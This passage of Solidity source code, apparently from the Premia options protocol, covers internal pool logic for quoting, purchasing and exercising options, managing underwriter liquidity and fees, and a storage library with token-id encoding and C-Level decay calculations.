_getFeeWithDiscount(address feePayer, uint256 fee) internal view returns (uint256) { uint256 discount = _getFeeDiscount(feePayer); return fee - ((fee * discount) / INVERSE_BASIS_POINT); } function _withdrawFees(bool isCall) internal returns (uint256 amount) { uint256 tokenId = _getReservedLiquidityTokenId(isCall); amount = _balanceOf(FEE_RECEIVER_ADDRESS, tokenId); if (amount > 0) { _burn(FEE_RECEIVER_ADDRESS, tokenId, amount); emit FeeWithdrawal(isCall, amount); } } /** * @notice calculate price of option contract * @param args structured quote arguments * @return result quote result */ function _quote(PoolStorage.QuoteArgsInternal memory args) internal view returns (PoolStorage.QuoteResultInternal memory result) { require( args.strike64x64 > 0 && args.spot64x64 > 0 && args.maturity > 0, "invalid args" ); PoolStorage.Layout storage l = PoolStorage.layout(); int128 contractSize64x64 = ABDKMath64x64Token.fromDecimals( args.contractSize, l.underlyingDecimals ); (int128 adjustedCLevel64x64, int128 oldLiquidity64x64) = l .getRealPoolState(args.isCall); require(oldLiquidity64x64 > 0, "no liq"); int128 timeToMaturity64x64 = ABDKMath64x64.divu( args.maturity - block.timestamp, 365 days ); int128 annualizedVolatility64x64 = IVolatilitySurfaceOracle( IVOL_ORACLE_ADDRESS ).getAnnualizedVolatility64x64( l.base, l.underlying, args.spot64x64, args.strike64x64, timeToMaturity64x64, args.isCall ); require(annualizedVolatility64x64 > 0, "vol = 0"); int128 collateral64x64 = args.isCall ? contractSize64x64 : contractSize64x64.mul(args.strike64x64); ( int128 price64x64, int128 cLevel64x64, int128 slippageCoefficient64x64 ) = OptionMath.quotePrice( OptionMath.QuoteArgs( annualizedVolatility64x64.mul(annualizedVolatility64x64), args.strike64x64, args.spot64x64, timeToMaturity64x64, adjustedCLevel64x64, oldLiquidity64x64, oldLiquidity64x64.sub(collateral64x64), 0x10000000000000000, // 64x64 fixed point representation of 1 MIN_APY_64x64, args.isCall ) ); result.baseCost64x64 = args.isCall ? price64x64.mul(contractSize64x64).div(args.spot64x64) : price64x64.mul(contractSize64x64); result.feeCost64x64 = result.baseCost64x64.mul(FEE_64x64); result.cLevel64x64 = cLevel64x64; result.slippageCoefficient64x64 = slippageCoefficient64x64; int128 discount = ABDKMath64x64.divu( _getFeeDiscount(args.feePayer), INVERSE_BASIS_POINT ); result.feeCost64x64 -= result.feeCost64x64.mul(discount); } /** * @notice burn corresponding long and short option tokens * @param account holder of tokens to annihilate * @param maturity timestamp of option maturity * @param strike64x64 64x64 fixed point representation of strike price * @param isCall true for call, false for put * @param contractSize quantity of option contract tokens to annihilate */ function _annihilate( address account, uint64 maturity, int128 strike64x64, bool isCall, uint256 contractSize ) internal { uint256 longTokenId = PoolStorage.formatTokenId( _getTokenType(isCall, true), maturity, strike64x64 ); uint256 shortTokenId = PoolStorage.formatTokenId( _getTokenType(isCall, false), maturity, strike64x64 ); _burn(account, longTokenId, contractSize); _burn(account, shortTokenId, contractSize); emit Annihilate(shortTokenId, contractSize); } /** * @notice purchase option * @param l storage layout struct * @param account recipient of purchased option * @param maturity timestamp of option maturity * @param strike64x64 64x64 fixed point representation of strike price * @param isCall true for call, false for put * @param contractSize size of option contract * @param newPrice64x64 64x64 fixed point representation of current spot price * @return baseCost quantity of tokens required to purchase long position * @return feeCost quantity of tokens required to pay fees */ function _purchase( PoolStorage.Layout storage l, address account, uint64 maturity, int128 strike64x64, bool isCall, uint256 contractSize, int128 newPrice64x64 ) internal returns (uint256 baseCost, uint256 feeCost) { require(maturity > block.timestamp, "expired"); require(contractSize >= l.underlyingMinimum, "too small"); { uint256 size = isCall ? contractSize : l.fromUnderlyingToBaseDecimals( strike64x64.mulu(contractSize) ); require( size <= ERC1155EnumerableStorage.layout().totalSupply[ _getFreeLiquidityTokenId(isCall) ] - l.nextDeposits[isCall].totalPendingDeposits, "insuf liq" ); } PoolStorage.QuoteResultInternal memory quote = _quote( PoolStorage.QuoteArgsInternal( account, maturity, strike64x64, newPrice64x64, contractSize, isCall ) ); baseCost = ABDKMath64x64Token.toDecimals( quote.baseCost64x64, l.getTokenDecimals(isCall) ); feeCost = ABDKMath64x64Token.toDecimals( quote.feeCost64x64, l.getTokenDecimals(isCall) ); uint256 longTokenId = PoolStorage.formatTokenId( _getTokenType(isCall, true), maturity, strike64x64 ); uint256 shortTokenId = PoolStorage.formatTokenId( _getTokenType(isCall, false), maturity, strike64x64 ); // mint long option token for buyer _mint(account, longTokenId, contractSize); int128 oldLiquidity64x64 = l.totalFreeLiquiditySupply64x64(isCall); // burn free liquidity tokens from other underwriters _mintShortTokenLoop( l, account, contractSize, baseCost, shortTokenId, isCall ); int128 newLiquidity64x64 = l.totalFreeLiquiditySupply64x64(isCall); _setCLevel(l, oldLiquidity64x64, newLiquidity64x64, isCall); // mint reserved liquidity tokens for fee receiver _mint( FEE_RECEIVER_ADDRESS, _getReservedLiquidityTokenId(isCall), feeCost ); emit Purchase( account, longTokenId, contractSize, baseCost, feeCost, newPrice64x64 ); } /** * @notice reassign short position to new underwriter * @param l storage layout struct * @param account holder of positions to be reassigned * @param maturity timestamp of option maturity * @param strike64x64 64x64 fixed point representation of strike price * @param isCall true for call, false for put * @param contractSize quantity of option contract tokens to reassign * @param newPrice64x64 64x64 fixed point representation of current spot price * @return baseCost quantity of tokens required to reassign short position * @return feeCost quantity of tokens required to pay fees * @return amountOut quantity of liquidity freed */ function _reassign( PoolStorage.Layout storage l, address account, uint64 maturity, int128 strike64x64, bool isCall, uint256 contractSize, int128 newPrice64x64 ) internal returns ( uint256 baseCost, uint256 feeCost, uint256 amountOut ) { (baseCost, feeCost) = _purchase( l, account, maturity, strike64x64, isCall, contractSize, newPrice64x64 ); _annihilate(account, maturity, strike64x64, isCall, contractSize); uint256 annihilateAmount = isCall ? contractSize : l.fromUnderlyingToBaseDecimals(strike64x64.mulu(contractSize)); amountOut = annihilateAmount - baseCost - feeCost; } /** * @notice exercise option on behalf of holder * @dev used for processing of expired options if passed holder is zero address * @param holder owner of long option tokens to exercise * @param longTokenId long option token id * @param contractSize quantity of tokens to exercise */ function _exercise( address holder, uint256 longTokenId, uint256 contractSize ) internal { uint64 maturity; int128 strike64x64; bool isCall; bool onlyExpired = holder == address(0); { PoolStorage.TokenType tokenType; (tokenType, maturity, strike64x64) = PoolStorage.parseTokenId( longTokenId ); require( tokenType == PoolStorage.TokenType.LONG_CALL || tokenType == PoolStorage.TokenType.LONG_PUT, "invalid type" ); require(!onlyExpired || maturity < block.timestamp, "not expired"); isCall = tokenType == PoolStorage.TokenType.LONG_CALL; } PoolStorage.Layout storage l = PoolStorage.layout(); int128 spot64x64 = _update(l); if (maturity < block.timestamp) { spot64x64 = l.getPriceUpdateAfter(maturity); } require( onlyExpired || ( isCall ? (spot64x64 > strike64x64) : (spot64x64 < strike64x64) ), "not ITM" ); uint256 exerciseValue; // option has a non-zero exercise value if (isCall) { if (spot64x64 > strike64x64) { exerciseValue = spot64x64.sub(strike64x64).div(spot64x64).mulu( contractSize ); } } else { if (spot64x64 < strike64x64) { exerciseValue = l.fromUnderlyingToBaseDecimals( strike64x64.sub(spot64x64).mulu(contractSize) ); } } uint256 totalFee; if (onlyExpired) { totalFee += _burnLongTokenLoop( contractSize, exerciseValue, longTokenId, isCall ); } else { // burn long option tokens from sender _burn(holder, longTokenId, contractSize); uint256 fee; if (exerciseValue > 0) { fee = _getFeeWithDiscount( holder, FEE_64x64.mulu(exerciseValue) ); totalFee += fee; _pushTo(holder, _getPoolToken(isCall), exerciseValue - fee); } emit Exercise( holder, longTokenId, contractSize, exerciseValue, fee ); } totalFee += _burnShortTokenLoop( contractSize, exerciseValue, PoolStorage.formatTokenId( _getTokenType(isCall, false), maturity, strike64x64 ), isCall ); _mint( FEE_RECEIVER_ADDRESS, _getReservedLiquidityTokenId(isCall), totalFee ); } function _mintShortTokenLoop( PoolStorage.Layout storage l, address buyer, uint256 contractSize, uint256 premium, uint256 shortTokenId, bool isCall ) internal { uint256 freeLiqTokenId = _getFreeLiquidityTokenId(isCall); (, , int128 strike64x64) = PoolStorage.parseTokenId(shortTokenId); uint256 toPay = isCall ? contractSize : l.fromUnderlyingToBaseDecimals(strike64x64.mulu(contractSize)); while (toPay > 0) { address underwriter = l.liquidityQueueAscending[isCall][address(0)]; uint256 balance = _balanceOf(underwriter, freeLiqTokenId); // If dust left, we remove underwriter and skip to next if (balance < _getMinimumAmount(l, isCall)) { l.removeUnderwriter(underwriter, isCall); continue; } if (!l.getReinvestmentStatus(underwriter, isCall)) { _burn(underwriter, freeLiqTokenId, balance); _mint( underwriter, _getReservedLiquidityTokenId(isCall), balance ); _subUserTVL(l, underwriter, isCall, balance); continue; } // amount of liquidity provided by underwriter, accounting for reinvested premium uint256 intervalContractSize = ((balance - l.pendingDeposits[underwriter][l.nextDeposits[isCall].eta][ isCall ]) * (toPay + premium)) / toPay; if (intervalContractSize == 0) continue; if (intervalContractSize > toPay) intervalContractSize = toPay; // amount of premium paid to underwriter uint256 intervalPremium = (premium * intervalContractSize) / toPay; premium -= intervalPremium; toPay -= intervalContractSize; _addUserTVL(l, underwriter, isCall, intervalPremium); // burn free liquidity tokens from underwriter _burn( underwriter, freeLiqTokenId, intervalContractSize - intervalPremium ); if (isCall == false) { // For PUT, conversion to contract amount is done here (Prior to this line, it is token amount) intervalContractSize = l.fromBaseToUnderlyingDecimals( strike64x64.inv().mulu(intervalContractSize) ); } // mint short option tokens for underwriter // toPay == 0 ? contractSize : intervalContractSize : To prevent minting less than amount, // because of rounding (Can happen for put, because of fixed point precision) _mint( underwriter, shortTokenId, toPay == 0 ? contractSize : intervalContractSize ); emit Underwrite( underwriter, buyer, shortTokenId, toPay == 0 ? contractSize : intervalContractSize, intervalPremium, false ); contractSize -= intervalContractSize; } } function _burnLongTokenLoop( uint256 contractSize, uint256 exerciseValue, uint256 longTokenId, bool isCall ) internal returns (uint256 totalFee) { EnumerableSet.AddressSet storage holders = ERC1155EnumerableStorage .layout() .accountsByToken[longTokenId]; while (contractSize > 0) { address longTokenHolder = holders.at(holders.length() - 1); uint256 intervalContractSize = _balanceOf( longTokenHolder, longTokenId ); if (intervalContractSize > contractSize) intervalContractSize = contractSize; uint256 intervalExerciseValue; uint256 fee; if (exerciseValue > 0) { intervalExerciseValue = (exerciseValue * intervalContractSize) / contractSize; fee = _getFeeWithDiscount( longTokenHolder, FEE_64x64.mulu(intervalExerciseValue) ); totalFee += fee; exerciseValue -= intervalExerciseValue; _pushTo( longTokenHolder, _getPoolToken(isCall), intervalExerciseValue - fee ); } contractSize -= intervalContractSize; emit Exercise( longTokenHolder, longTokenId, intervalContractSize, intervalExerciseValue - fee, fee ); _burn(longTokenHolder, longTokenId, intervalContractSize); } } function _burnShortTokenLoop( uint256 contractSize, uint256 exerciseValue, uint256 shortTokenId, bool isCall ) internal returns (uint256 totalFee) { EnumerableSet.AddressSet storage underwriters = ERC1155EnumerableStorage .layout() .accountsByToken[shortTokenId]; (, , int128 strike64x64) = PoolStorage.parseTokenId(shortTokenId); while (contractSize > 0) { address underwriter = underwriters.at(underwriters.length() - 1); // amount of liquidity provided by underwriter uint256 intervalContractSize = _balanceOf( underwriter, shortTokenId ); if (intervalContractSize > contractSize) intervalContractSize = contractSize; // amount of value claimed by buyer uint256 intervalExerciseValue = (exerciseValue * intervalContractSize) / contractSize; exerciseValue -= intervalExerciseValue; contractSize -= intervalContractSize; uint256 freeLiq = isCall ? intervalContractSize - intervalExerciseValue : PoolStorage.layout().fromUnderlyingToBaseDecimals( strike64x64.mulu(intervalContractSize) ) - intervalExerciseValue; uint256 fee = _getFeeWithDiscount( underwriter, FEE_64x64.mulu(freeLiq) ); totalFee += fee; uint256 tvlToSubtract = intervalExerciseValue; // mint free liquidity tokens for underwriter if ( PoolStorage.layout().getReinvestmentStatus(underwriter, isCall) ) { _addToDepositQueue(underwriter, freeLiq - fee, isCall); tvlToSubtract += fee; } else { _mint( underwriter, _getReservedLiquidityTokenId(isCall), freeLiq - fee ); tvlToSubtract += freeLiq; } _subUserTVL( PoolStorage.layout(), underwriter, isCall, tvlToSubtract ); // burn short option tokens from underwriter _burn(underwriter, shortTokenId, intervalContractSize); emit AssignExercise( underwriter, shortTokenId, freeLiq - fee, intervalContractSize, fee ); } } function _addToDepositQueue( address account, uint256 amount, bool isCallPool ) internal { PoolStorage.Layout storage l = PoolStorage.layout(); _mint(account, _getFreeLiquidityTokenId(isCallPool), amount); uint256 nextBatch = (block.timestamp / BATCHING_PERIOD) * BATCHING_PERIOD + BATCHING_PERIOD; l.pendingDeposits[account][nextBatch][isCallPool] += amount; PoolStorage.BatchData storage batchData = l.nextDeposits[isCallPool]; batchData.totalPendingDeposits += amount; batchData.eta = nextBatch; } function _processPendingDeposits(PoolStorage.Layout storage l, bool isCall) internal { PoolStorage.BatchData storage data = l.nextDeposits[isCall]; if (data.eta == 0 || block.timestamp < data.eta) return; int128 oldLiquidity64x64 = l.totalFreeLiquiditySupply64x64(isCall); _setCLevel( l, oldLiquidity64x64, oldLiquidity64x64.add( ABDKMath64x64Token.fromDecimals( data.totalPendingDeposits, l.getTokenDecimals(isCall) ) ), isCall ); delete l.nextDeposits[isCall]; } function _getFreeLiquidityTokenId(bool isCall) internal view returns (uint256 freeLiqTokenId) { freeLiqTokenId = isCall ? UNDERLYING_FREE_LIQ_TOKEN_ID : BASE_FREE_LIQ_TOKEN_ID; } function _getReservedLiquidityTokenId(bool isCall) internal view returns (uint256 reservedLiqTokenId) { reservedLiqTokenId = isCall ? UNDERLYING_RESERVED_LIQ_TOKEN_ID : BASE_RESERVED_LIQ_TOKEN_ID; } function _getPoolToken(bool isCall) internal view returns (address token) { token = isCall ? PoolStorage.layout().underlying : PoolStorage.layout().base; } function _getTokenType(bool isCall, bool isLong) internal pure returns (PoolStorage.TokenType tokenType) { if (isCall) { tokenType = isLong ? PoolStorage.TokenType.LONG_CALL : PoolStorage.TokenType.SHORT_CALL; } else { tokenType = isLong ? PoolStorage.TokenType.LONG_PUT : PoolStorage.TokenType.SHORT_PUT; } } function _getMinimumAmount(PoolStorage.Layout storage l, bool isCall) internal view returns (uint256 minimumAmount) { minimumAmount = isCall ? l.underlyingMinimum : l.baseMinimum; } function _getPoolCapAmount(PoolStorage.Layout storage l, bool isCall) internal view returns (uint256 poolCapAmount) { poolCapAmount = isCall ? l.underlyingPoolCap : l.basePoolCap; } function _setCLevel( PoolStorage.Layout storage l, int128 oldLiquidity64x64, int128 newLiquidity64x64, bool isCallPool ) internal { int128 oldCLevel64x64 = l.getDecayAdjustedCLevel64x64(isCallPool); int128 cLevel64x64 = l.applyCLevelLiquidityChangeAdjustment( oldCLevel64x64, oldLiquidity64x64, newLiquidity64x64, isCallPool ); l.setCLevel(cLevel64x64, isCallPool); emit UpdateCLevel( isCallPool, cLevel64x64, oldLiquidity64x64, newLiquidity64x64 ); } /** * @notice calculate and store updated market state * @param l storage layout struct * @return newPrice64x64 64x64 fixed point representation of current spot price */ function _update(PoolStorage.Layout storage l) internal returns (int128 newPrice64x64) { if (l.updatedAt == block.timestamp) { return (l.getPriceUpdate(block.timestamp)); } newPrice64x64 = l.fetchPriceUpdate(); if (l.getPriceUpdate(block.timestamp) == 0) { l.setPriceUpdate(block.timestamp, newPrice64x64); } l.updatedAt = block.timestamp; _processPendingDeposits(l, true); _processPendingDeposits(l, false); } /** * @notice transfer ERC20 tokens to message sender * @param token ERC20 token address * @param amount quantity of token to transfer */ function _pushTo( address to, address token, uint256 amount ) internal { if (amount == 0) return; require(IERC20(token).transfer(to, amount), "ERC20 transfer failed"); } /** * @notice transfer ERC20 tokens from message sender * @param from address from which tokens are pulled from * @param token ERC20 token address * @param amount quantity of token to transfer * @param skipWethDeposit if false, will not try to deposit weth from attach eth */ function _pullFrom( address from, address token, uint256 amount, bool skipWethDeposit ) internal { if (!skipWethDeposit) { if (token == WETH_ADDRESS) { if (msg.value > 0) { if (msg.value > amount) { IWETH(WETH_ADDRESS).deposit{value: amount}(); (bool success, ) = payable(msg.sender).call{ value: msg.value - amount }(""); require(success, "ETH refund failed"); amount = 0; } else { unchecked { amount -= msg.value; } IWETH(WETH_ADDRESS).deposit{value: msg.value}(); } } } else { require(msg.value == 0, "not WETH deposit"); } } if (amount > 0) { require( IERC20(token).transferFrom(from, address(this), amount), "ERC20 transfer failed" ); } } function _mint( address account, uint256 tokenId, uint256 amount ) internal { _mint(account, tokenId, amount, ""); } function _addUserTVL( PoolStorage.Layout storage l, address user, bool isCallPool, uint256 amount ) internal { uint256 userTVL = l.userTVL[user][isCallPool]; uint256 totalTVL = l.totalTVL[isCallPool]; IPremiaMining(PREMIA_MINING_ADDRESS).allocatePending( user, address(this), isCallPool, userTVL, userTVL + amount, totalTVL ); l.userTVL[user][isCallPool] = userTVL + amount; l.totalTVL[isCallPool] = totalTVL + amount; } function _subUserTVL( PoolStorage.Layout storage l, address user, bool isCallPool, uint256 amount ) internal { uint256 userTVL = l.userTVL[user][isCallPool]; uint256 totalTVL = l.totalTVL[isCallPool]; IPremiaMining(PREMIA_MINING_ADDRESS).allocatePending( user, address(this), isCallPool, userTVL, userTVL - amount, totalTVL ); l.userTVL[user][isCallPool] = userTVL - amount; l.totalTVL[isCallPool] = totalTVL - amount; } /** * @notice ERC1155 hook: track eligible underwriters * @param operator transaction sender * @param from token sender * @param to token receiver * @param ids token ids transferred * @param amounts token quantities transferred * @param data data payload */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual override { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); PoolStorage.Layout storage l = PoolStorage.layout(); for (uint256 i; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; if (amount == 0) continue; if (from == address(0)) { l.tokenIds.add(id); } if ( to == address(0) && ERC1155EnumerableStorage.layout().totalSupply[id] == 0 ) { l.tokenIds.remove(id); } // prevent transfer of free and reserved liquidity during waiting period if ( id == UNDERLYING_FREE_LIQ_TOKEN_ID || id == BASE_FREE_LIQ_TOKEN_ID || id == UNDERLYING_RESERVED_LIQ_TOKEN_ID || id == BASE_RESERVED_LIQ_TOKEN_ID ) { if (from != address(0) && to != address(0)) { bool isCallPool = id == UNDERLYING_FREE_LIQ_TOKEN_ID || id == UNDERLYING_RESERVED_LIQ_TOKEN_ID; require( l.depositedAt[from][isCallPool] + (1 days) < block.timestamp, "liq lock 1d" ); } } if ( id == UNDERLYING_FREE_LIQ_TOKEN_ID || id == BASE_FREE_LIQ_TOKEN_ID ) { bool isCallPool = id == UNDERLYING_FREE_LIQ_TOKEN_ID; uint256 minimum = _getMinimumAmount(l, isCallPool); if (from != address(0)) { uint256 balance = _balanceOf(from, id); if (balance > minimum && balance <= amount + minimum) { require( balance - l.pendingDeposits[from][ l.nextDeposits[isCallPool].eta ][isCallPool] >= amount, "Insuf balance" ); l.removeUnderwriter(from, isCallPool); } if (to != address(0)) { _subUserTVL(l, from, isCallPool, amounts[i]); _addUserTVL(l, to, isCallPool, amounts[i]); } } if (to != address(0)) { uint256 balance = _balanceOf(to, id); if (balance <= minimum && balance + amount > minimum) { l.addUnderwriter(to, isCallPool); } } } // Update userTVL on SHORT options transfers ( PoolStorage.TokenType tokenType, , int128 strike64x64 ) = PoolStorage.parseTokenId(id); if ( (from != address(0) && to != address(0)) && (tokenType == PoolStorage.TokenType.SHORT_CALL || tokenType == PoolStorage.TokenType.SHORT_PUT) ) { bool isCall = tokenType == PoolStorage.TokenType.SHORT_CALL; uint256 collateral = isCall ? amount : l.fromUnderlyingToBaseDecimals(strike64x64.mulu(amount)); _subUserTVL(l, from, isCall, collateral); _addUserTVL(l, to, isCall, collateral); } } } } // SPDX-License-Identifier: BUSL-1.1 // For further clarification please see https://license.premia.legal pragma solidity ^0.8.0; import {AggregatorInterface} from "@chainlink/contracts/src/v0.8/interfaces/AggregatorInterface.sol"; import {AggregatorV3Interface} from "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol"; import {EnumerableSet, ERC1155EnumerableStorage} from "@solidstate/contracts/token/ERC1155/enumerable/ERC1155EnumerableStorage.sol"; import {ABDKMath64x64} from "abdk-libraries-solidity/ABDKMath64x64.sol"; import {ABDKMath64x64Token} from "../libraries/ABDKMath64x64Token.sol"; import {OptionMath} from "../libraries/OptionMath.sol"; library PoolStorage { using ABDKMath64x64 for int128; using PoolStorage for PoolStorage.Layout; enum TokenType { UNDERLYING_FREE_LIQ, BASE_FREE_LIQ, UNDERLYING_RESERVED_LIQ, BASE_RESERVED_LIQ, LONG_CALL, SHORT_CALL, LONG_PUT, SHORT_PUT } struct PoolSettings { address underlying; address base; address underlyingOracle; address baseOracle; } struct QuoteArgsInternal { address feePayer; // address of the fee payer uint64 maturity; // timestamp of option maturity int128 strike64x64; // 64x64 fixed point representation of strike price int128 spot64x64; // 64x64 fixed point representation of spot price uint256 contractSize; // size of option contract bool isCall; // true for call, false for put } struct QuoteResultInternal { int128 baseCost64x64; // 64x64 fixed point representation of option cost denominated in underlying currency (without fee) int128 feeCost64x64; // 64x64 fixed point representation of option fee cost denominated in underlying currency for call, or base currency for put int128 cLevel64x64; // 64x64 fixed point representation of C-Level of Pool after purchase int128 slippageCoefficient64x64; // 64x64 fixed point representation of slippage coefficient for given order size } struct BatchData { uint256 eta; uint256 totalPendingDeposits; } bytes32 internal constant STORAGE_SLOT = keccak256("premia.contracts.storage.Pool"); uint256 private constant C_DECAY_BUFFER = 12 hours; uint256 private constant C_DECAY_INTERVAL = 4 hours; struct Layout { // ERC20 token addresses address base; address underlying; // AggregatorV3Interface oracle addresses address baseOracle; address underlyingOracle; // token metadata uint8 underlyingDecimals; uint8 baseDecimals; // minimum amounts uint256 baseMinimum; uint256 underlyingMinimum; // deposit caps uint256 basePoolCap; uint256 underlyingPoolCap; // market state int128 _deprecated_steepness64x64; int128 cLevelBase64x64; int128 cLevelUnderlying64x64; uint256 cLevelBaseUpdatedAt; uint256 cLevelUnderlyingUpdatedAt; uint256 updatedAt; // User -> isCall -> depositedAt mapping(address => mapping(bool => uint256)) depositedAt; mapping(address => mapping(bool => uint256)) divestmentTimestamps; // doubly linked list of free liquidity intervals // isCall -> User -> User mapping(bool => mapping(address => address)) liquidityQueueAscending; mapping(bool => mapping(address => address)) liquidityQueueDescending; // minimum resolution price bucket => price mapping(uint256 => int128) bucketPrices64x64; // sequence id (minimum resolution price bucket / 256) => price update sequence mapping(uint256 => uint256) priceUpdateSequences; // isCall -> batch data mapping(bool => BatchData) nextDeposits; // user -> batch timestamp -> isCall -> pending amount mapping(address => mapping(uint256 => mapping(bool => uint256))) pendingDeposits; EnumerableSet.UintSet tokenIds; // user -> isCallPool -> total value locked of user (Used for liquidity mining) mapping(address => mapping(bool => uint256)) userTVL; // isCallPool -> total value locked mapping(bool => uint256) totalTVL; // steepness values int128 steepnessBase64x64; int128 steepnessUnderlying64x64; } function layout() internal pure returns (Layout storage l) { bytes32 slot = STORAGE_SLOT; assembly { l.slot := slot } } /** * @notice calculate ERC1155 token id for given option parameters * @param tokenType TokenType enum * @param maturity timestamp of option maturity * @param strike64x64 64x64 fixed point representation of strike price * @return tokenId token id */ function formatTokenId( TokenType tokenType, uint64 maturity, int128 strike64x64 ) internal pure returns (uint256 tokenId) { tokenId = (uint256(tokenType) << 248) + (uint256(maturity) << 128) + uint256(int256(strike64x64)); } /** * @notice derive option maturity and strike price from ERC1155 token id * @param tokenId token id * @return tokenType TokenType enum * @return maturity timestamp of option maturity * @return strike64x64 option strike price */ function parseTokenId(uint256 tokenId) internal pure returns ( TokenType tokenType, uint64 maturity, int128 strike64x64 ) { assembly { tokenType := shr(248, tokenId) maturity := shr(128, tokenId) strike64x64 := tokenId } } function getTokenDecimals(Layout storage l, bool isCall) internal view returns (uint8 decimals) { decimals = isCall ? l.underlyingDecimals : l.baseDecimals; } /** * @notice get the total supply of free liquidity tokens, minus pending deposits * @param l storage layout struct * @param isCall whether query is for call or put pool * @return 64x64 fixed point representation of total free liquidity */ function totalFreeLiquiditySupply64x64(Layout storage l, bool isCall) internal view returns (int128) { uint256 tokenId = formatTokenId( isCall ? TokenType.UNDERLYING_FREE_LIQ : TokenType.BASE_FREE_LIQ, 0, 0 ); return ABDKMath64x64Token.fromDecimals( ERC1155EnumerableStorage.layout().totalSupply[tokenId] - l.nextDeposits[isCall].totalPendingDeposits, l.getTokenDecimals(isCall) ); } function getReinvestmentStatus( Layout storage l, address account, bool isCallPool ) internal view returns (bool) { uint256 timestamp = l.divestmentTimestamps[account][isCallPool]; return timestamp == 0 || timestamp > block.timestamp; } function addUnderwriter( Layout storage l, address account, bool isCallPool ) internal { require(account != address(0)); mapping(address => address) storage asc = l.liquidityQueueAscending[ isCallPool ]; mapping(address => address) storage desc = l.liquidityQueueDescending[ isCallPool ]; if (_isInQueue(account, asc, desc)) return; address last = desc[address(0)]; asc[last] = account; desc[account] = last; desc[address(0)] = account; } function removeUnderwriter( Layout storage l, address account, bool isCallPool ) internal { require(account != address(0)); mapping(address => address) storage asc = l.liquidityQueueAscending[ isCallPool ]; mapping(address => address) storage desc = l.liquidityQueueDescending[ isCallPool ]; if (!_isInQueue(account, asc, desc)) return; address prev = desc[account]; address next = asc[account]; asc[prev] = next; desc[next] = prev; delete asc[account]; delete desc[account]; } function isInQueue( Layout storage l, address account, bool isCallPool ) internal view returns (bool) { mapping(address => address) storage asc = l.liquidityQueueAscending[ isCallPool ]; mapping(address => address) storage desc = l.liquidityQueueDescending[ isCallPool ]; return _isInQueue(account, asc, desc); } function _isInQueue( address account, mapping(address => address) storage asc, mapping(address => address) storage desc ) private view returns (bool) { return asc[account] != address(0) || desc[address(0)] == account; } /** * @notice get current C-Level, without accounting for pending adjustments * @param l storage layout struct * @param isCall whether query is for call or put pool * @return cLevel64x64 64x64 fixed point representation of C-Level */ function getRawCLevel64x64(Layout storage l, bool isCall) internal view returns (int128 cLevel64x64) { cLevel64x64 = isCall ? l.cLevelUnderlying64x64 : l.cLevelBase64x64; } /** * @notice get current C-Level, accounting for unrealized decay * @param l storage layout struct * @param isCall whether query is for call or put pool * @return cLevel64x64 64x64 fixed point representation of C-Level */ function getDecayAdjustedCLevel64x64(Layout storage l, bool isCall) internal view returns (int128 cLevel64x64) { // get raw C-Level from storage cLevel64x64 = l.getRawCLevel64x64(isCall); // account for C-Level decay cLevel64x64 = l.applyCLevelDecayAdjustment(cLevel64x64, isCall); } /** * @notice get updated C-Level and pool liquidity level, accounting for decay and pending deposits * @param l storage layout struct * @param isCall whether to update C-Level for call or put pool * @return cLevel64x64 64x64 fixed point representation of C-Level * @return liquidity64x64 64x64 fixed point representation of new liquidity amount */ function getRealPoolState(Layout storage l, bool isCall) internal view returns (int128 cLevel64x64, int128 liquidity64x64) { PoolStorage.BatchData storage batchData = l.nextDeposits[isCall]; int128 oldCLevel64x64 = l.getDecayAdjustedCLevel64x64(isCall); int128 oldLiquidity64x64 = l.totalFreeLiquiditySupply64x64(isCall); if ( batchData.totalPendingDeposits > 0 && batchData.eta != 0 && block.timestamp >= batchData.eta ) { liquidity64x64 = ABDKMath64x64Token .fromDecimals( batchData.totalPendingDeposits, l.getTokenDecimals(isCall) ) .add(oldLiquidity64x64); cLevel64x64 = l.applyCLevelLiquidityChangeAdjustment( oldCLevel64x64, oldLiquidity64x64, liquidity64x64, isCall ); } else { cLevel64x64 = oldCLevel64x64; liquidity64x64 = oldLiquidity64x64; } } /** * @notice calculate updated C-Level, accounting for unrealized decay * @param l storage layout struct * @param oldCLevel64x64 64x64 fixed point representation pool C-Level before accounting for decay * @param isCall whether query is for call or put pool * @return cLevel64x64 64x64 fixed point representation of C-Level of Pool after accounting for decay */ function applyCLevelDecayAdjustment( Layout storage l, int128 oldCLevel64x64, bool isCall ) internal view returns (int128 cLevel64x64) { uint256 timeElapsed = block.timestamp - (isCall ? l.cLevelUnderlyingUpdatedAt : l.cLevelBaseUpdatedAt); // do not apply C decay if less than 24 hours have elapsed if (timeElapsed > C_DECAY_BUFFER) { timeElapsed -= C_DECAY_BUFFER; } else { return oldCLevel64x64; } int128 timeIntervalsElapsed64x64 = ABDKMath64x64.divu( timeElapsed, C_DECAY_INTERVAL ); uint256 tokenId = formatTokenId( isCall ? TokenType.UNDERLYING_FREE_LIQ : TokenType.BASE_FREE_LIQ, 0, 0 ); uint256 tvl = l.totalTVL[isCall]; int128 utilization = ABDKMath64x64.divu( tvl - (ERC1155EnumerableStorage.layout().totalSupply[tokenId] - l.nextDeposits[isCall].totalPendingDeposits), tvl ); return OptionMath.calculateCLevelDecay( OptionMath.CalculateCLevelDecayArgs( timeIntervalsElapsed64x64, oldCLevel64x64, utilization, 0xb333333333333333, // 0.7 0xe666666666666666, // 0.9 0x10000000000000000, // 1.0 0x10000000000000000, // 1.0 0xe666666666666666, // 0.9 0x56fc2a2c515da32ea // 2e ) ); } /** * @notice calculate updated C-Level, accounting for change in liquidity * @param l storage layout struct * @param oldCLevel64x64 64x64 fixed point representation pool C-Level before accounting for liquidity change * @param oldLiquidity64x64 64x64 fixed point representation of previous liquidity * @param newLiquidity64x64 64x64 fixed point representation of current liquidity * @param isCallPool whether to update C-Level for call or put pool * @return cLevel64x64 64x64 fixed point representation of C-Level */ function applyCLevelLiquidityChangeAdjustment( Layout storage l, int128 oldCLevel64x64, int128 oldLiquidity64x64, int128 newLiquidity64x64, bool isCallPool ) internal view returns (int128 cLevel64x64) { int128 steepness64x64 = isCallPool ? l.steepnessUnderlying64x64 : l.steepnessBase64x64; // fallback to deprecated storage value if side-specific value is not set if (steepness64x64 == 0) steepness64x64 = l._deprecated_steepness64x64; cLevel64x64 = OptionMath.calculateCLevel( oldCLevel64x64, oldLiquidity64x64, newLiquidity64x64, steepness64x64 ); if (cLevel64x64 < 